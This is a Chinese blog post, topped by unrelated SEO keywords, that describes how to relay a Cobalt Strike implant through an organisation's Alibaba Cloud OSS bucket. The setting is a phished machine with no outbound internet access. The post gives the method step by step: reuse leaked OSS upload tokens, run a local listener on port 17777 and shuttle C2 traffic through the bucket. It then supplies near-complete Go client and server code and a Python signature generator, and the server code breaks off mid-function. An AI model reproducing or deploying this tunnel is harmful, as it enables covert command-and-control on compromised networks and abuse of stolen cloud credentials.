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帝国程序如何改网站标题,网络营销与直播电商,自己网站做优化的有权利卖么,网站建设与设计教程本地实现阿里云oss转发上线，全部代码在文末，代码存在冗余 实战环境 被钓鱼机器不出网只可访问内部网络包含集团oss 实战思路 若将我们的shellcode文件上传到集团oss上仍无法上线，那么就利用oss做中转使用本地转发进行上线，先发送…

本地实现阿里云oss转发上线，全部代码在文末，代码存在冗余

实战环境
被钓鱼机器不出网只可访问内部网络包含集团oss
实战思路
若将我们的shellcode文件上传到集团oss上仍无法上线，那么就利用oss做中转使用本地转发进行上线，先发送一个本地监听木马到钓鱼机器，再发送一个client，也就是agent到钓鱼机器，当然可以将两个写成一块发送给钓鱼受害者，server端从oss读取到数据转发至cs监听端口
具体逻辑
1.根据网站oss的上传接口，获得上传成功的返回包（通常包含泄露的oss的token，上传成功的路径及其文件名）
2.我们将返回包的json全部复制到本地为新的json文件，命名为server.json和client.json
3.server端实现上传该json文件到目标oss存储桶
4.client端下载该json文件到钓鱼机器
5.client端通过读取下载的json文件获得相应上传路径，token，进行组合实现上传本地木马127.0.0.1:17777监听的请求数据到oss文件
6.server端下载读取oss文件的数据转发到cs木马x.x.x.x:17777监听端口
7.server端上传cs返回的数据到oss文件
8.client端下载读取oss文件内容到本地木马监听端口实现木马闭环
server和client都是持续开着的并且循环进行上传下载读取功能

本地为方便演示我们使用服务器下载json文件，提取json文件中的关键信息，进行上传

首先准备好阿里云oss的SDK
https://help.aliyun.com/zh/oss/developer-reference/go-installation?spm=在这里插入图片描述
那么通过实际情况，一般上传接口是有oss的token
生成policy和signature

import os
from hashlib import sha1 as sha
import json
import base64
import hmac
import datetime
import time# 配置环境变量OSS_ACCESS_KEY_ID。
access_key_id = 'xxxxxxx'
# 配置环境变量OSS_ACCESS_KEY_SECRET。
access_key_secret = 'xxxxxxxxxxxx'
# 将<YOUR_BUCKET>替换为Bucket名称。
bucket = 'xxxx'
# host的格式为bucketname.endpoint。将<YOUR_BUCKET>替换为Bucket名称。将<YOUR_ENDPOINT>替换为OSS Endpoint，例如oss-cn-hangzhou.aliyuncs.com。
host = 'https://xxxx.oss-cn-shanghai.aliyuncs.com'
# 指定上传到OSS的文件前缀。
upload_dir = '1029/ff.txt'
# 指定过期时间，单位为秒。
expire_time = 14400def generate_expiration(seconds):"""通过指定有效的时长（秒）生成过期时间。:param seconds: 有效时长（秒）。:return: ISO8601 时间字符串，如："2014-12-01T12:00:00.000Z"。"""now = int(time.time())expiration_time = now + secondsgmt = datetime.datetime.utcfromtimestamp(expiration_time).isoformat()gmt += 'Z'return gmtdef generate_signature(access_key_secret, expiration, conditions, policy_extra_props=None):"""生成签名字符串Signature。:param access_key_secret: 有权限访问目标Bucket的AccessKeySecret。:param expiration: 签名过期时间，按照ISO8601标准表示，并需要使用UTC时间，格式为yyyy-MM-ddTHH:mm:ssZ。示例值："2014-12-01T12:00:00.000Z"。:param conditions: 策略条件，用于限制上传表单时允许设置的值。:param policy_extra_props: 额外的policy参数，后续如果policy新增参数支持，可以在通过dict传入额外的参数。:return: signature，签名字符串。"""policy_dict = {'expiration': expiration,'conditions': conditions}if policy_extra_props is not None:policy_dict.update(policy_extra_props)policy = json.dumps(policy_dict).strip()policy_encode = base64.b64encode(policy.encode())h = hmac.new(access_key_secret.encode(), policy_encode, sha)sign_result = base64.b64encode(h.digest()).strip()return sign_result.decode()def generate_upload_params():policy = {# 有效期。"expiration": generate_expiration(expire_time),# 约束条件。"conditions": [# 未指定success_action_redirect时，上传成功后的返回状态码，默认为 204。["eq", "$success_action_status", "200"],# 表单域的值必须以指定前缀开始。例如指定key的值以user/user1开始，则可以写为["starts-with", "$key", "user/user1"]。["starts-with", "$key", upload_dir],# 限制上传Object的最小和最大允许大小，单位为字节。["content-length-range", 1, 1000000],# 限制上传的文件为指定的图片类型["in", "$content-type", ["image/jpg", "image/png","text/plain","application/octet-stream"]]]}signature = generate_signature(access_key_secret, policy.get('expiration'), policy.get('conditions'))response = {'policy': base64.b64encode(json.dumps(policy).encode('utf-8')).decode(),'ossAccessKeyId': access_key_id,'signature': signature,'host': host,'dir': upload_dir# 可以在这里再自行追加其他参数}print(json.dumps(response))return json.dumps(response)if __name__ == '__main__':generate_upload_params();

这样就可以使用policy和signature
这里key不能只写1029/这样的路径，后面要加文件名才能成功上传
1029/ff.txt这种，我们先手动上传试试
在这里插入图片描述
在这里插入图片描述
可以看到上传成功，然后使用go写的客户端试试上传
在这里插入图片描述

在这里插入图片描述
客户端成功上传文件到oss，并且我们的上传是循环的，
在这里插入图片描述

上传的内容为
在这里插入图片描述
从oss下载之后，可以看到文件名字是policy.txt，这是从阿里云oss下载的文件名字（也就是Content-Disposition），但存储桶上是ff.txt的名字（也就是key）
目前客户端上传功能成功，然后写客户端下载功能，服务端的代码和客户端一样除了客户端要监听127.0.0.1:17777，服务器要发送到cs的ip:17777，这样就可以了，

当完成客户端上传下载，服务端下载功能时候收到请求上线如下
在这里插入图片描述
可以看到请求转发过来了（此时只是先客户端上传监听到的数据到oss，然后服务端下载到本地转发到cs服务器），那么我们需要完成服务端上传的功能，以至于cs的返回包上传到oss上，供客户端读取
在这里插入图片描述
可以看到server端的上传包（也就是上传的cs返回的包）
此时的问题是client和server的上传文件有冲突问题，client上传太快了，server会oss检测当前文件的内容和之前的内容是否一致，client传的太快会让server认为和上一个内容一样，所以就不上传返回包请求了，在这里插入图片描述
可以看到ipconfig也可以
但是这个有个bug，就是运行client运行中间卡住了
在这里插入图片描述
最终方案，client端上传之后等待60秒，server端上传之后等待30秒，
最终代码：
client.go

package mainimport ("bytes""fmt""log""os""path/filepath""net""net/http""io""io/ioutil""encoding/json""mime/multipart""strings""net/url""time""strconv""encoding/base64""sync""github.com/google/uuid"
)var ClientUploadData *UploadDatavar previousContent string// 定义结构体：File 结构体
type UploadData struct {Key                  string `json:"key"`SuccessActionStatus  string `json:"success_action_status"`ContentDisposition   string `json:"Content-Disposition"`XOssMetaUUID         string `json:"x-oss-meta-uuid"`XOssMetaTag          string `json:"x-oss-meta-tag"`OSSAccessKeyID       string `json:"OSSAccessKeyId"`Policy               string `json:"policy"`Signature            string `json:"Signature"`ActionURL            string `json:"action"`FileName             string `json:"file.filename"`FileContentType      string `json:"file.content_type"`FileContent          string `json:"file.content"`
}type UploadTokenResponse struct {Success    interface{} `json:"success"`UploadData UploadData  `json:"uploadData"`Error      interface{} `json:"error"`
}func startClient(bind_address string) {log.Println("[+]", "客户端启动成功")server, err := net.Listen("tcp", bind_address)if err != nil {log.Fatalln("[x]", "listen address ["+bind_address+"] failed.")}for {conn, err := server.Accept()if err != nil {log.Println("Accept() failed, err: ", err)continue}log.Println("[+]", "有客户进入：", conn.RemoteAddr())go process(conn)}
}func Get(filename string) []byte {programDir, err := getProgramDirectory()if err != nil {log.Println("获取程序目录失败：", err)return nil}configFilePath := filepath.Join(programDir, filename)log.Println("程序目录：", programDir)log.Println("文件路径：", configFilePath)jsondate, err := readUploadTokenFromFile(configFilePath)if err != nil {log.Println("读取或解析JSON文件失败：", err)return nil}fileURL := jsondate.ActionURL + "/" + jsondate.Keylog.Println("Get.fileURL：", fileURL)fmt.Println(fileURL)resp, err := http.Get(fileURL)if err != nil {log.Println("读取文件内容失败：", err)return nil}defer resp.Body.Close()content, err := ioutil.ReadAll(resp.Body)if err != nil {log.Println("读取响应体失败：", err)return nil}log.Println("客户端下载读到的内容：", content)decodedContent, err := base64.StdEncoding.DecodeString(string(content))if err != nil {log.Println("Base64解码失败：", err)return nil}// 输出字符串内容log.Println("客户端下载读到的内容base64：", string(decodedContent))return content
}func renameFile(oldPath, newPath string) error {err := os.Rename(oldPath, newPath)if err != nil {return fmt.Errorf("无法重命名文件 %s 为 %s: %v", oldPath, newPath, err)}log.Printf("[+] 文件 %s 重命名为 %s", oldPath, newPath)return nil
}func saveToFile(filename, content string) {err := os.WriteFile(filename, []byte(content), 0644)if err != nil {log.Println("[x]", "保存文件失败:", err)}
}func getProgramDir() string {dir, err := os.Getwd()if err != nil {log.Println("[x]", "获取程序运行目录失败:", err)return "./"}return dir + "/"
}func FileExists(filePath string) bool {_, err := os.Stat(filePath)return err == nil
}func processContentAndSave(currentContent string) {var fileName stringif strings.Contains(currentContent, "client") {fileName = getProgramDir() + "Send-Client11.json"log.Println("[+]", "判断是否存在 client 文件")} else if strings.Contains(currentContent, "server") {fileName = getProgramDir() + "Send-Server11.json"log.Println("[+]", "判断是否存在 server 文件")} else {log.Println("[-]", "内容既不包含 client 也不包含 server，跳过处理")return}log.Println("[+]", "文件名:", fileName)if _, err := os.Stat(fileName); os.IsNotExist(err) {saveToFile(fileName, string(currentContent))log.Println("[+]", "文件不存在，已保存为:", fileName)} else if err == nil {log.Println("[+]", "文件已存在，跳过保存:", fileName)} else {log.Println("[-]", "检查文件时发生错误:", err)}
}func Getfile(filename string) (string, error) {defer func() {if r := recover(); r != nil {log.Printf("捕获异常：%v", r)}}()programDir, err := getProgramDirectory()if err != nil {return "", fmt.Errorf("failed to get program directory: %v", err)}configFilePath := filepath.Join(programDir, filename)jsondate, err := readUploadTokenFromFile(configFilePath)if err != nil {log.Println("读取或解析JSON文件失败：", err)return "", err}fileURL := jsondate.ActionURL + "/" + jsondate.Keylog.Println("Getfile.fileURL:",fileURL)resp, err := http.Get(fileURL)if err != nil {log.Println("读取文件内容失败：", err)return "", err}defer resp.Body.Close()return fileURL, nil
}func fetchFileContent(url string) (string, error) {resp, err := http.Get(url)if err != nil {return "", err}defer resp.Body.Close()body, err := ioutil.ReadAll(resp.Body)if err != nil {return "", err}return string(body), nil
}/*func uploadFile(UploadData UploadData, filename string, fileContent string) (string, error) {body := &bytes.Buffer{}writer := multipart.NewWriter(body)for key, value := range UploadData.Data {writer.WriteField(key, value)}fileReader := strings.NewReader(fileContent)part, err := writer.CreateFormFile(UploadData.Name, filename)if err != nil {return "", err}_, err = io.Copy(part, fileReader)if err != nil {return "", err}writer.Close()req, err := http.NewRequest("POST", UploadData.ActionURL, body)if err != nil {return "", err}req.Header.Set("Content-Type", writer.FormDataContentType())client := &http.Client{}resp, err := client.Do(req)if err != nil {return "", err}defer resp.Body.Close()location := resp.Header.Get("Location")if location == "" {fmt.Println("No location URL found in response headers.")}return location, nil
}*/func logRequest(req *http.Request) {log.Println("Request Method:", req.Method)log.Println("Request URL:", req.URL.String())log.Println("Request Headers:")for key, values := range req.Header {for _, value := range values {log.Printf("  %s: %s\n", key, value)}}// 打印请求体内容bodyBytes, err := io.ReadAll(req.Body)if err != nil {log.Println("Error reading request body:", err)return}req.Body = io.NopCloser(bytes.NewBuffer(bodyBytes)) // 恢复请求体log.Println("Request Body:", string(bodyBytes))
}func uploadFile(data UploadData, filename string, fileContent string) (string, error) {body := &bytes.Buffer{}writer := multipart.NewWriter(body)// Write fields directly from UploadData structwriter.WriteField("key", data.Key)writer.WriteField("success_action_status", data.SuccessActionStatus)writer.WriteField("Content-Disposition", data.ContentDisposition)writer.WriteField("x-oss-meta-uuid", data.XOssMetaUUID)writer.WriteField("x-oss-meta-tag", data.XOssMetaTag)writer.WriteField("OSSAccessKeyId", data.OSSAccessKeyID)writer.WriteField("policy", data.Policy)writer.WriteField("Signature", data.Signature)// Create form file part for file contentfileReader := strings.NewReader(fileContent)part, err := writer.CreateFormFile("file", filename)if err != nil {return "", err}_, err = io.Copy(part, fileReader)if err != nil {return "", err}writer.Close()// Create and send requestreq, err := http.NewRequest("POST", data.ActionURL, body)//req, err := http.NewRequest("POST", "https://xxxx.oss-cn-shanghai.aliyuncs.com", body)if err != nil {return "", err}req.Header.Set("Content-Type", writer.FormDataContentType())logRequest(req)//client := &http.Client{}proxyURL, _ := url.Parse("http://127.0.0.1:8083")if err != nil {return "", fmt.Errorf("invalid proxy URL: %v", err)}client := &http.Client{Transport: &http.Transport{Proxy: http.ProxyURL(proxyURL),},}resp, err := client.Do(req)if err != nil {return "", err}defer resp.Body.Close()location := resp.Header.Get("Location")if location == "" {fmt.Println("No location URL found in response headers.")}return location, nil
}func findErrorLine(data []byte, offset int64) (line int, col int) {line = 1col = 1for i := int64(0); i < offset; i++ {if data[i] == '\n' {line++col = 1} else {col++}}return
}/*func parseUploadToken(jsonData []byte) (UploadData, error) {var tokenResponse UploadTokenResponseerr := json.Unmarshal(jsonData, &tokenResponse)if err != nil {return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)}// 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string，直接返回return tokenResponse.UploadData, nil
}*/func parseUploadToken(jsonData []byte) (UploadData, error) {
//    var tokenResponse UploadTokenResponsevar uploadData UploadDataerr := json.Unmarshal(jsonData, &uploadData)if err != nil {return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)}// 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string，直接返回log.Println("parseUploadToken.UploadData",uploadData)return uploadData, nil
}func getProgramDirectory() (string, error) {execPath, err := os.Executable()if err != nil {return "", err}return filepath.Dir(execPath), nil
}func readUploadTokenFromFile(filename string) (UploadData, error) {programDir, err := getProgramDirectory()if err != nil {return UploadData{}, fmt.Errorf("failed to get program directory: %v", err)}filename = filepath.Base(filename)configFilePath := filepath.Join(programDir, filename)data, err := ioutil.ReadFile(configFilePath)if err != nil {return UploadData{}, fmt.Errorf("failed to read file %s: %v", configFilePath, err)}uploadData, err := parseUploadToken(data)if err != nil {return UploadData{}, fmt.Errorf("failed to parse JSON from file %s: %v", configFilePath, err)}return uploadData, nil
}func Send(name string, filename string, content string) {UploadData, err := readUploadTokenFromFile(name)if err != nil {fmt.Println("Error reading or parsing JSON from file:", err)return}_, err = uploadFile(UploadData, filename, content)if err != nil {log.Println("文件上传失败：", err)return}
}var fileLock sync.Mutex // 定义一个文件锁func process(conn net.Conn) {defer func() {if r := recover(); r != nil {log.Printf("捕获异常：%v", r)}}()uuid := uuid.New()key := uuid.String()defer conn.Close()var buffer bytes.Buffer_ = conn.SetReadDeadline(time.Now().Add(10 * time.Second))for {var buf [1]byten, err := conn.Read(buf[:])if err != nil {log.Println("[-]", uuid, "read from connect failed, err：", err)break}buffer.Write(buf[:n])if strings.Contains(buffer.String(), "\r\n\r\n") {if strings.Contains(buffer.String(), "Content-Length") {ContentLength := buffer.String()[strings.Index(buffer.String(), "Content-Length: ")+len("Content-Length: ") : strings.Index(buffer.String(), "Content-Length: ")+strings.Index(buffer.String()[strings.Index(buffer.String(), "Content-Length: "):], "\n")]log.Println("[+]", uuid, "数据包长度为：", strings.TrimSpace(ContentLength))if strings.TrimSpace(ContentLength) != "0" {intContentLength, err := strconv.Atoi(strings.TrimSpace(ContentLength))if err != nil {log.Println("[-]", uuid, "Content-Length转换失败")}for i := 1; i <= intContentLength; i++ {var b [1]byten, err = conn.Read(b[:])if err != nil {log.Println("[-]", uuid, "read from connect failed, err", err)break}buffer.Write(b[:n])}}}if strings.Contains(buffer.String(), "Transfer-Encoding: chunked") {for {var b [1]byten, err = conn.Read(b[:])if err != nil {log.Println("[-]", uuid, "read from connect failed, err", err)break}buffer.Write(b[:n])if strings.Contains(buffer.String(), "0\r\n\r\n") {break}}}log.Println("[+]", uuid, "从客户端接受HTTP头完毕")break}}b64 := base64.StdEncoding.EncodeToString(buffer.Bytes())Send("Send-Client.json", key+"client.zip", b64)log.Println("[+]发送成功")log.Println("文件上传完成，暂停60秒...")time.Sleep(60 * time.Second) // Pause for 60 secondsi := 1for {i++time.Sleep(1 * time.Second)if i >= 10 {log.Println("[x]", "超时，断开")return}clientURL, err := Getfile("Send-Server.json")if err != nil {log.Println("[-]", "获取服务器文件失败：", err)return}log.Println("[-]", "process.clientURL:", clientURL)currentContent, err := fetchFileContent(clientURL)if err != nil {log.Println("[-]", "获取客户端文件失败:", err)return}if strings.TrimSpace(currentContent) != strings.TrimSpace(previousContent) {/*if strings.HasPrefix(currentContent, `{"success`) {processContentAndSave(currentContent)if FileExists(getProgramDir()+"Send-Server11.json") && FileExists(getProgramDir()+"Send-Client11.json") {clientNewPath := getProgramDir() + "Send-Client.json"os.Remove(clientNewPath)err = renameFile(getProgramDir()+"Send-Client11.json", clientNewPath)if err != nil {log.Fatalf("重命名 server 文件时发生错误: %v", err)}os.Remove(getProgramDir() + "Send-Client11.json")time.Sleep(5 * time.Second)serverNewPath := getProgramDir() + "Send-Server.json"os.Remove(serverNewPath)err = renameFile(getProgramDir()+"Send-Server11.json", serverNewPath)if err != nil {log.Fatalf("重命名 server 文件时发生错误: %v", err)}os.Remove(getProgramDir() + "Send-Server11.json")}}*/log.Println("[+]", "文件内容不一致，开始处理")previousContent = currentContentbuff := Get("Send-Server.json")if buff != nil {log.Println("[x]", uuid, "收到服务器消息")time.Sleep(1 * time.Second)sDec, err := base64.StdEncoding.DecodeString(string(buff))if err != nil {log.Println("[x]", uuid, "Base64解码错误")return}conn.Write(sDec)break}} else {log.Println("[+]", "文件内容一致，无需处理")previousContent = currentContentbuff := Get("Send-Server.json")if buff != nil {log.Println("[x]", uuid, "收到服务器消息")time.Sleep(1 * time.Second)sDec, err := base64.StdEncoding.DecodeString(string(buff))if err != nil {log.Println("[x]", uuid, "Base64解码错误")return}conn.Write(sDec)breakreturn}}}log.Println("[+]", "发送完成")
}func checkURLStatus(url string) bool {resp, err := http.Head(url)if err != nil {fmt.Printf("检查 URL 失败: %v\n", err)return false}defer resp.Body.Close()if resp.StatusCode == http.StatusOK {return true}fmt.Printf("URL %s 返回状态码: %d\n", url, resp.StatusCode)return false
}func waitForNextHalfHour() {now := time.Now()next := now.Truncate(30 * time.Minute).Add(30 * time.Minute)duration := next.Sub(now)fmt.Printf("等待 %v 到下一个下载时间...\n", duration)time.Sleep(duration)
}func downloadFile(filepath string, url string) error {resp, err := http.Get(url)if err != nil {return err}defer resp.Body.Close()out, err := os.Create(filepath)if err != nil {return err}defer out.Close()_, err = io.Copy(out, resp.Body)return err
}func safeDownloadFile(filepath string, url string) error {tempFilepath := filepath + ".tmp"err := downloadFile(tempFilepath, url)if err != nil {return fmt.Errorf("下载失败: %w", err)}err = os.Rename(tempFilepath, filepath)if err != nil {return fmt.Errorf("替换文件失败: %w", err)}return nil
}func timedownload() {execPath, err := os.Executable()if err != nil {fmt.Printf("获取程序路径失败: %v\n", err)return}execDir := filepath.Dir(execPath)filepath1 := filepath.Join(execDir, "Send-Client.json")filepath2 := filepath.Join(execDir, "Send-Server.json")url1 := "http://xxxxx:xx/Send-Client.json"url2 := "http://xxxxx:xx/Send-Server.json"fmt.Printf("检查文件1：%s\n", url1)if checkURLStatus(url1) {err = safeDownloadFile(filepath1, url1)if err != nil {fmt.Printf("下载失败: %v\n", err)} else {fmt.Println("下载成功")}} else {fmt.Println("URL不可用，跳过下载：", url1)}fmt.Printf("检查文件2：%s\n", url2)if checkURLStatus(url2) {err = safeDownloadFile(filepath2, url2)if err != nil {fmt.Printf("下载失败: %v\n", err)} else {fmt.Println("下载成功")}} else {fmt.Println("URL不可用，跳过下载：", url2)}for {waitForNextHalfHour()fmt.Printf("检查文件1：%s\n", url1)if checkURLStatus(url1) {err = safeDownloadFile(filepath1, url1)if err != nil {fmt.Printf("下载失败: %v\n", err)} else {fmt.Println("下载成功")}} else {fmt.Println("URL不可用，跳过下载：", url1)}fmt.Printf("检查文件2：%s\n", url2)if checkURLStatus(url2) {err = safeDownloadFile(filepath2, url2)if err != nil {fmt.Printf("下载失败: %v\n", err)} else {fmt.Println("下载成功")}} else {fmt.Println("URL不可用，跳过下载：", url2)}}}func main() {go timedownload()bind_address := "127.0.0.1:17777"startClient(bind_address)}

server.go

package mainimport ("bytes""fmt""log""os""path/filepath""net""net/http""io""io/ioutil""encoding/json""mime/multipart""strings""net/url""time""strconv""encoding/base64""sync")var ClientUploadData *UploadDatavar previousContent string  // 存储上一次文件内容// 定义结构体：File 结构体
type UploadData struct {Key                  string `json:"key"`SuccessActionStatus  string `json:"success_action_status"`ContentDisposition   string `json:"Content-Disposition"`XOssMetaUUID         string `json:"x-oss-meta-uuid"`XOssMetaTag          string `json:"x-oss-meta-tag"`OSSAccessKeyID       string `json:"OSSAccessKeyId"`Policy               string `json:"policy"`Signature            string `json:"Signature"`ActionURL            string `json:"action"`FileName             string `json:"file.filename"`FileContentType      string `json:"file.content_type"`FileContent          string `json:"file.content"`
}type UploadTokenResponse struct {Success    interface{} `json:"success"`UploadData UploadData  `json:"uploadData"`Error      interface{} `json:"error"`
}func Get(filename string) []byte {programDir, err := getProgramDirectory()if err != nil {log.Println("获取程序目录失败：", err)return nil}configFilePath := filepath.Join(programDir, filename)log.Println("程序目录：", programDir)log.Println("文件路径：", configFilePath)jsondate, err := readUploadTokenFromFile(configFilePath)log.Println("jsondate:",jsondate)if err != nil {log.Println("读取或解析JSON文件失败：", err)return nil}fileURL := jsondate.ActionURL + "/" + jsondate.Keyfmt.Println(fileURL)resp, err := http.Get(fileURL)if err != nil {log.Println("读取文件内容失败：", err)return nil}defer resp.Body.Close()content, err := ioutil.ReadAll(resp.Body)if err != nil {log.Println("读取响应体失败：", err)return nil}log.Println("内容：", content)return content
}func renameFile(oldPath, newPath string) error {err := os.Rename(oldPath, newPath)if err != nil {return fmt.Errorf("无法重命名文件 %s 为 %s: %v", oldPath, newPath, err)}log.Printf("[+] 文件 %s 重命名为 %s", oldPath, newPath)return nil
}func saveToFile(filename, content string) {err := os.WriteFile(filename, []byte(content), 0644)if err != nil {log.Println("[x]", "保存文件失败:", err)}
}func getProgramDir() string {dir, err := os.Getwd()if err != nil {log.Println("[x]", "获取程序运行目录失败:", err)return "./"}return dir + "/"
}func FileExists(filePath string) bool {_, err := os.Stat(filePath)return err == nil
}func processContentAndSave(currentContent string) {var fileName stringif strings.Contains(currentContent, "client") {fileName = getProgramDir() + "Send-Client11.json"log.Println("[+]", "判断是否存在 client 文件")} else if strings.Contains(currentContent, "server") {fileName = getProgramDir() + "Send-Server11.json"log.Println("[+]", "判断是否存在 server 文件")} else {log.Println("[-]", "内容既不包含 client 也不包含 server，跳过处理")return}log.Println("[+]", "文件名:", fileName)if _, err := os.Stat(fileName); os.IsNotExist(err) {saveToFile(fileName, string(currentContent))log.Println("[+]", "文件不存在，已保存为:", fileName)} else if err == nil {log.Println("[+]", "文件已存在，跳过保存:", fileName)} else {log.Println("[-]", "检查文件时发生错误:", err)}
}func Getfile(filename string) (string, error) {defer func() {if r := recover(); r != nil {log.Printf("捕获异常：%v", r)}}()programDir, err := getProgramDirectory()log.Println("programDir：", programDir)if err != nil {return "", fmt.Errorf("failed to get program directory: %v", err)}configFilePath := filepath.Join(programDir, filename)log.Println("configFilePath：", configFilePath)jsondate, err := readUploadTokenFromFile(configFilePath)if err != nil {log.Println("读取或解析JSON文件失败：", err)return "", err}fileURL := jsondate.ActionURL + "/" + jsondate.Keylog.Println("fileURL：", fileURL)resp, err := http.Get(fileURL)if err != nil {log.Println("读取文件内容失败：", err)return "", err}defer resp.Body.Close()return fileURL, nil
}func fetchFileContent(url string) (string, error) {resp, err := http.Get(url)if err != nil {return "", err}defer resp.Body.Close()body, err := ioutil.ReadAll(resp.Body)if err != nil {return "", err}log.Println(string(body))return string(body), nil
}/*func uploadFile(UploadData UploadData, filename string, fileContent string) (string, error) {body := &bytes.Buffer{}writer := multipart.NewWriter(body)for key, value := range UploadData.Data {writer.WriteField(key, value)}fileReader := strings.NewReader(fileContent)part, err := writer.CreateFormFile(UploadData.Name, filename)if err != nil {return "", err}_, err = io.Copy(part, fileReader)if err != nil {return "", err}writer.Close()req, err := http.NewRequest("POST", UploadData.ActionURL, body)if err != nil {return "", err}req.Header.Set("Content-Type", writer.FormDataContentType())client := &http.Client{}resp, err := client.Do(req)if err != nil {return "", err}defer resp.Body.Close()location := resp.Header.Get("Location")if location == "" {fmt.Println("No location URL found in response headers.")}return location, nil
}*/func logRequest(req *http.Request) {log.Println("Request Method:", req.Method)log.Println("Request URL:", req.URL.String())log.Println("Request Headers:")for key, values := range req.Header {for _, value := range values {log.Printf("  %s: %s\n", key, value)}}// 打印请求体内容bodyBytes, err := io.ReadAll(req.Body)if err != nil {log.Println("Error reading request body:", err)return}req.Body = io.NopCloser(bytes.NewBuffer(bodyBytes)) // 恢复请求体log.Println("Request Body:", string(bodyBytes))
}func uploadFile(data UploadData, filename string, fileContent string) (string, error) {body := &bytes.Buffer{}writer := multipart.NewWriter(body)// Write fields directly from UploadData structwriter.WriteField("key", data.Key)writer.WriteField("success_action_status", data.SuccessActionStatus)writer.WriteField("Content-Disposition", data.ContentDisposition)writer.WriteField("x-oss-meta-uuid", data.XOssMetaUUID)writer.WriteField("x-oss-meta-tag", data.XOssMetaTag)writer.WriteField("OSSAccessKeyId", data.OSSAccessKeyID)writer.WriteField("policy", data.Policy)writer.WriteField("Signature", data.Signature)// Create form file part for file contentfileReader := strings.NewReader(fileContent)part, err := writer.CreateFormFile("file", filename)if err != nil {return "", err}_, err = io.Copy(part, fileReader)if err != nil {return "", err}writer.Close()// Create and send requestreq, err := http.NewRequest("POST", data.ActionURL, body)//req, err := http.NewRequest("POST", "https://xxx.oss-cn-shanghai.aliyuncs.com", body)if err != nil {return "", err}req.Header.Set("Content-Type", writer.FormDataContentType())logRequest(req)//client := &http.Client{}proxyURL, _ := url.Parse("http://127.0.0.1:8083")if err != nil {return "", fmt.Errorf("invalid proxy URL: %v", err)}client := &http.Client{Transport: &http.Transport{Proxy: http.ProxyURL(proxyURL),},}resp, err := client.Do(req)if err != nil {return "", err}defer resp.Body.Close()location := resp.Header.Get("Location")if location == "" {fmt.Println("No location URL found in response headers.")}return location, nil
}func findErrorLine(data []byte, offset int64) (line int, col int) {line = 1col = 1for i := int64(0); i < offset; i++ {if data[i] == '\n' {line++col = 1} else {col++}}return
}func parseUploadToken(jsonData []byte) (UploadData, error) {
//	var tokenResponse UploadTokenResponsevar uploadData UploadDataerr := json.Unmarshal(jsonData, &uploadData)if err != nil {return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)}// 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string，直接返回log.Println("parseUploadToken.UploadData",uploadData)return uploadData, nil
}func getProgramDirectory() (string, error) {execPath, err := os.Executable()if err != nil {return "", err}return filepath.Dir(execPath), nil
}func readUploadTokenFromFile(filename string) (UploadData, error) {programDir, err := getProgramDirectory()if err != nil {return UploadData{}, fmt.Errorf("failed to get program directory: %v", err)}filename = filepath.Base(filename)log.Println("filename=>",filename)configFilePath := filepath.Join(programDir, filename)log.Println("readUploadTokenFromFile,configFilePath=>",configFilePath)data, err := ioutil.ReadFile(configFilePath)if err != nil {return UploadData{}, fmt.Errorf("failed to read file %s: %v", configFilePath, err)}uploadData, err := parseUploadToken(data)if err != nil {return UploadData{}, fmt.Errorf("failed to parse JSON from file %s: %v", configFilePath, err)}return uploadData, nil
}func Send(name string, filename string, content string) {UploadData, err := readUploadTokenFromFile(name)if err != nil {fmt.Println("Error reading or parsing JSON from file:", err)return}_, err = uploadFile(UploadData, filename, content)if err != nil {log.Println("文件上传失败：", err)return}
}func checkURLStatus(url string) bool {resp, err := http.Head(url)if err != nil {fmt.Printf("检查 URL 失败: %v\n", err)return false}defer resp.Body.Close()if resp.StatusCode == http.StatusOK {return true}fmt.Printf("URL %s 返回状态码: %d\n", url, resp.StatusCode)return false
}func waitForNextHalfHour() {now := time.Now()next := now.Truncate(30 * time.Minute).Add(30 * time.Minute)duration := next.Sub(now)fmt.Printf("等待 %v 到下一个下载时间...\n", duration)time.Sleep(duration)
}func downloadFile(filepath string, url string) error {resp, err := http.Get(url)if err != nil {return err}defer resp.Body.Close()out, err := os.Create(filepath)if err != nil {return err}defer out.Close()_, err = io.Copy(out, resp.Body)return err
}func safeDownloadFile(filepath string, url string) error {tempFilepath := filepath + ".tmp"err := downloadFile(tempFilepath, url)if err != nil {return fmt.Errorf("下载失败: %w", err)}err = os.Rename(tempFilepath, filepath)if err != nil {return fmt.Errorf("替换文件失败: %w", err)}return nil
}func timedownload() {execPath, err := os.Executable()if err != nil {fmt.Printf("获取程序路径失败: %v\n", err)return}execDir := filepath.Dir(execPath)filepath1 := filepath.Join(execDir, "Send-Client.json")filepath2 := filepath.Join(execDir, "Send-Server.json")url1 := "http://x.x.x.x:x/Send-Client.json"url2 := "http://x.x.x.x:x/Send-Server.json"fmt.Printf("检查文件1：%s\n", url1)if checkURLStatus(url1) {err = safeDownloadFile(filepath1, url1)if err != nil {fmt.Printf("下载失败: %v\n", err)} else {fmt.Println("下载成功")}} else {fmt.Println("URL不可用，跳过下载：", url1)}fmt.Printf("检查文件2：%s\n", url2)if checkURLStatus(url2) {err = safeDownloadFile(filepath2, url2)if err != nil {fmt.Printf("下载失败: %v\n", err)} else {fmt.Println("下载成功")}} else {fmt.Println("URL不可用，跳过下载：", url2)}/*	for {waitForNextHalfHour()fmt.Printf("检查文件1：%s\n", url1)if checkURLStatus(url1) {err = safeDownloadFile(filepath1, url1)if err != nil {fmt.Printf("下载失败: %v\n", err)} else {fmt.Println("下载成功")}} else {fmt.Println("URL不可用，跳过下载：", url1)}fmt.Printf("检查文件2：%s\n", url2)if checkURLStatus(url2) {err = safeDownloadFile(filepath2, url2)if err != nil {fmt.Printf("下载失败: %v\n", err)} else {fmt.Println("下载成功")}} else {fmt.Println("URL不可用，跳过下载：", url2)}}*/}var fileLock sync.RWMutex // 定义一个文件锁
var taskQueue = make(chan string, 100) // 定义一个任务队列func processQueue() {for task := range taskQueue {log.Println("[+]", "处理队列中的任务:", task)processServerWithLock(task) // 有序地处理任务}
